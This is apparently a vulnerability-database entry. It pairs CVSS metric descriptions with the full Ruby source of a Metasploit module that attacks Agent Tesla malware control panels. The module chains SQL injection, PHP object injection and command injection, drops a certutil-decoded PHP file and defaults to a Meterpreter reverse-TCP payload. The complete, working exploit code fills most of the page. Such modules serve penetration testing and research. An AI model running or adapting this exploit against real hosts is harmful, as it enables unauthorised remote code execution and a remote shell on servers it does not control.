The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Agent Tesla Panel Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Agent Tesla Panel Remote Code Execution',
'Description' => %q{
This module exploits a command injection vulnerability within the Agent Tesla control panel,
in combination with an SQL injection vulnerability and a PHP object injection vulnerabilty, to gain
remote code execution on affected hosts.
Panel versions released prior to Sepetember 12, 2018 can be exploited by unauthenticated attackers to
gain remote code execution as user running the web server. Agent Tesla panels released on or after
this date can still be exploited however, provided that attackers have valid credentials for the
Agent Tesla control panel.
Note that this module presently only fully supports Windows hosts running Agent Tesla on the WAMP stack.
Support for Linux may be added in a future update, but could not be confirmed during testing.
},
'Author' => [
'Ege Balc <[email protected]>', # discovery and independent module
'mekhalleh (RAMELLA Sbastien)', # Added windows targeting and authenticated RCE
'gwillcox-r7' # Multiple edits to finish porting the exploit over to Metasploit
],
'References' => [
['EDB', '47256'], # Original PoC and Metasploit module
['URL', 'https://github.com/mekhalleh/agent_tesla_panel_rce/tree/master/resources'], # Agent-Tesla WebPanel's available for download
['URL', 'https://www.pirates.re/agent-tesla-remote-command-execution-(fighting-the-webpanel)'], # Writeup in French on this module and its surrounding research.
['URL', 'https://krebsonsecurity.com/2018/10/who-is-agent-tesla/'] # Background info on Agent Tesla
],
'DisclosureDate' => '2019-08-14', # Date of first PoC for this module, not aware of anything prior to this.
'License' => MSF_LICENSE,
'Platform' => ['php'],
'Arch' => [ARCH_PHP],
'Privileged' => false,
'Targets' => [
[
'Automatic (PHP-Dropper)', {
'Platform' => 'php',
'Arch' => [ARCH_PHP],
'Type' => :php_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'DisablePayloadHandler' => 'false'
}
}
],
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('PASSWORD', [false, 'The Agent Tesla CnC password to authenticate with', nil]),
OptString.new('TARGETURI', [true, 'The URI where the Agent Tesla CnC panel is located on the target', '/WebPanel/']),
OptString.new('USERNAME', [false, 'The Agent Tesla CnC username to authenticate with', nil])
])
end
def os_get_name
response = parse_response(execute_command('echo $PATH'))
## Not linux, check Windows.
response = parse_response(execute_command('echo %PATH%')) if response.include?('$PATH')
os_name = ''
if response =~ %r{^\/}
os_name = 'linux'
elsif response =~ /^[a-zA-Z]:\\/
os_name = 'windows'
end
os_name
end
def parse_response(js)
return '' unless js
begin
return js.get_json_document['data'][0].values.join
rescue NoMethodError
return ''
end
return ''
end
def execute_command(command, _opts = {})
junk = rand(1_000)
sql_prefix = Rex::Text.to_rand_case("#{junk} LIKE #{junk} UNION SELECT ")
requested_payload = {
'table' => 'passwords',
'primary' => 'HWID',
'clmns' => 'a:1:{i:0;a:3:{s:2:"db";s:4:"HWID";s:2:"dt";s:4:"HWID";s:9:"formatter";s:4:"exec";}}',
'where' => Rex::Text.encode_base64("#{sql_prefix}\"#{command}\"")
}
cookie = auth_get_cookie
request = {
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php')
}
request = request.merge({ 'cookie' => cookie }) if cookie != :not_auth
request = request.merge({
'encode_params' => true,
'vars_get' => requested_payload
})
response = send_request_cgi(request)
return false unless response
return response if response.body
false
end
def auth_get_cookie
if datastore['USERNAME'] && datastore['PASSWORD']
response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.php'),
'vars_post' => {
'Username' => datastore['USERNAME'],
'Password' => datastore['PASSWORD']
}
)
return :not_auth unless response
return response.get_cookies if response.redirect? && response.headers['location'] =~ /index.php/
end
:not_auth
end
def check
# check for login credentials couple.
if datastore['USERNAME'] && datastore['PASSWORD'].nil?
fail_with(Failure::BadConfig, 'The USERNAME option is defined but PASSWORD is not, please set PASSWORD.')
end
if datastore['PASSWORD'] && datastore['USERNAME'].nil?
fail_with(Failure::BadConfig, 'The PASSWORD option is defined but USERNAME is not, please set USERNAME.')
end
response = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php')
)
if response
if response.redirect? && response.headers['location'] =~ /login.php/
unless datastore['USERNAME'] && datastore['PASSWORD']
print_warning('Unauthenticated RCE can\'t be exploited, retry if you gain CnC credentials.')
return Exploit::CheckCode::Unknown
end
end
rand_str = Rex::Text.rand_text_alpha(8..16)
cmd_output = parse_response(execute_command("echo #{rand_str}"))
return Exploit::CheckCode::Vulnerable if cmd_output.include?(rand_str)
end
Exploit::CheckCode::Safe
end
def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super
os = os_get_name
unless os
print_bad('Could not determine the targeted operating system.')
return Msf::Exploit::Failed
end
print_status("Targeted operating system is: #{os}")
file_name = '.' + Rex::Text.rand_text_alpha(10) + '.php'
case os
when /linux/
fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets!")
when /windows/
cmd = "echo #{Rex::Text.encode_base64(payload.encoded)} > #{file_name}.b64 & certutil -decode #{file_name}.b64 #{file_name} & del #{file_name}.b64"
end
print_status("Sending #{datastore['PAYLOAD']} command payload")
vprint_status("Generated command payload: #{cmd}")
response = execute_command(cmd)
unless response && response.code == 200 && response.body.include?('command completed successfully')
fail_with(Failure::UnexpectedReply, 'Payload upload failed :(')
end
if os == 'windows'
panel_uri = datastore['TARGETURI'].gsub('/', '\\')
print_status("Payload uploaded as: #{file_name} to C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}")
register_file_for_cleanup("C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}")
else
fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets! This error should never be hit!")
end
# Triggering payload.
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', file_name)
}, 2.5)
end
end
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